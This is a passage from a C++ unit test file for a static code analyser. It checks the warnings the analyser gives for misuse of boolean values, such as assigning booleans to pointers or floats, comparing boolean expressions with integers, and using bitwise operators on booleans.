4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6588 (c++ mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6665\n check(\"void pivot_big(char *first, int compare(const void *, const void *)) {\\n\"\n \" char *a = first, *b = first + 1, *c = first + 2;\\n\"\n \" char* m1 = compare(a, b) < 0\\n\"\n \" ? (compare(b, c) < 0 ? b : (compare(a, c) < 0 ? c : a))\\n\"\n \" : (compare(a, c) < 0 ? a : (compare(b, c) < 0 ? c : b));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7381\n check(\"void foo(bool *p, bool b) {\\n\"\n \" p = b;\\n\"\n \" p = &b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n }\n\n void assignBoolToFloat() {\n check(\"void foo1() {\\n\"\n \" double d = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo2() {\\n\"\n \" float d = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo3() {\\n\"\n \" long double d = (2>1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n // stability - don't crash:\n check(\"void foo4() {\\n\"\n \" unknown = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" float p;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" s.p = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" float* p[1];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" *s.p[0] = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt1() {\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x & 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x | 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3 || (8 && x)==9)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:2:32]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", // duplicate\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)!=3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 0)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 1)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if (0 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (0 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x > false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false < x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x < false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false > x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x >= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false >= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x <= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false <= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"typedef int (*func)(bool invert);\\n\"\n \"void x(int, func f);\\n\"\n \"void foo(int error) {\\n\"\n \" if (error == ABC) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !a+b1){} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (a != !b || c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !!a + !!b + !!c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !(a+b)) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\",errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt3() {\n check(\"int f(int x) {\\n\"\n \" return t<0>() && x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt4() {\n // #5016\n check(\"void f() {\\n\"\n \" for(int i = 4; i > -1 < 5 ; --i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return (a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return x(a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return a > b == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // templates\n check(\"struct Tokenizer { TokenList list; };\\n\"\n \"void Tokenizer::f() {\\n\"\n \" std::list locationList;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5063 - or\n check(\"void f() {\\n\"\n \" return a > b or c < d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return (a < b) != 0U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 0x0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 42U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool1() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool2() {\n check(\"void leftOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(compare(temp) > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void rightOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(a < compare(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\"\n \"[test.cpp:11:7]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool3() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare(temp) > temp){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp);\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:3:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool4() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" if(compare1(temp)> b){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool5() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > !compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool6() {\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"int compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(::compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(foo.compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool7() { // #7197\n check(\"struct C {\\n\"\n \" bool isEmpty();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c1, c2;\\n\"\n \" if ((c1.isEmpty()) < (c2.isEmpty())) {}\\n\"\n \" if (!c1.isEmpty() < !!c2.isEmpty()) {}\\n\"\n \" if ((int)c1.isEmpty() < (int)c2.isEmpty()) {}\\n\"\n \" if (static_cast(c1.isEmpty()) < static_cast(c2.isEmpty())) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:7:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:8:24]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:9:36]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\",\n errout_str());\n }\n\n void checkComparisonOfFuncReturningBool8() { // #4103\n // op: >\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b > a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b < a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: >=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b >= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b <= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBoolIntegrationTest1() { // #7798\n check(\"bool eval(double *) { return false; }\\n\"\n \"double eval(char *) { return 1.0; }\\n\"\n \"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" if ( eval(argv[1]) > eval(argv[2]) )\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfBoolWithBool() {\n const char code[] = \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" bool a = compare1(4);\\n\"\n \" if(b > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\";\n check(code);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void bitwiseOnBoolean() { // 3062\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if((a > 0) & (b < 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style, inconclusive) Boolean expression 'a>0' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" foo(bar, &b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #9405\n \" class C { void foo(bool &b) {} };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"bool g() {\\n\"\n \" return f() | f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint8 outcode(float p) {\\n\"\n \" float d = 0.;\\n\"\n \" return ((p - xm >= d) << 1) | (x - p > d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10655\n \"void f(bool b) {\\n\"\n \" if (g() | b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(bool b) {\\n\"\n \" if (b | g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"bool f(bool b, bool c) {\\n\"\n \" return b | g() | c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #4233\n \" bool b = true, c = false;\\n\"\n \" b &= i;\\n\"\n \" c |= i;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. [bitwiseOnBoolean]\\n\"\n \"[test.cpp:4:7]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. [bitwiseOnBoolean]\\n\",\n errout_str());\n\n check(\"void f(int i, int j, bool b) {\\n\"\n \" i &= b;\\n\"\n \" j |= b;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b, int i) {\\n\"\n \" b &= (i == 5);\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { bool b{}; };\\n\" // #12455\n \"void f(const std::unordered_map m) {\\n\"\n \" for (const auto& e : m) {\\n\"\n \" S s;\\n\"\n \" s.b |= e.second.b;\\n\"\n \" (void)s.b;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incrementBoolean() {\n check(\"bool bValue = true;\\n\"\n \"void f() { bValue++; }\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" (*test)++;\\n\"\n 